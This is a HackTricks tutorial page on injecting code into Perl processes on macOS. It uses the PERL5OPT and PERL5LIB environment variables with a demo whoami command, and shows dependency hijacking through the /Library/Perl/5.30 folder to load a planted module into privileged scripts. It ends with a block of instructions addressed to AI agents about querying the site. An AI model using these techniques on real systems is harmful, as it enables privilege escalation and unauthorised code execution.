# macOS Perl Applications Injection
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
## Via `PERL5OPT` & `PERL5LIB` env variable
Using the env variable PERL5OPT it's possible to make perl execute arbitrary commands.\
For example, create this script:
{% code title="test.pl" %}
```perl
#!/usr/bin/perl
print "Hello from the Perl script!\n";
```
{% endcode %}
Now **export the env variable** and execute the **perl** script:
```bash
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"
```
Another option is to create a Perl module (e.g. `/tmp/pmod.pm`):
{% code title="/tmp/pmod.pm" %}
```perl
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value
```
{% endcode %}
And then use the env variables:
```bash
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
```
## Via dependencies
It's possible to list the dependencies folder order of Perl running:
```bash
perl -e 'print join("\n", @INC)'
```
Which will return something like:
```bash
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
```
Some of the returned folders doesn't even exist, however, **`/Library/Perl/5.30`** does **exist**, it's **not** **protected** by **SIP** and it's **before** the folders **protected by SIP**. Therefore, someone could abuse that folder to add script dependencies in there so a high privilege Perl script will load it.
{% hint style="warning" %}
However, note that you **need to be root to write in that folder** and nowadays you will get this **TCC prompt**:
{% endhint %}
For example, if a script is importing **`use File::Basename;`** it would be possible to create `/Library/Perl/5.30/File/Basename.pm` to make it execute arbitrary code.
## References
*
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
---
# Agent Instructions: Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
GET https://angelica.gitbook.io/hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md?ask=
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)
[**HackTricks Training GCP Red Team Expert (GRTE)**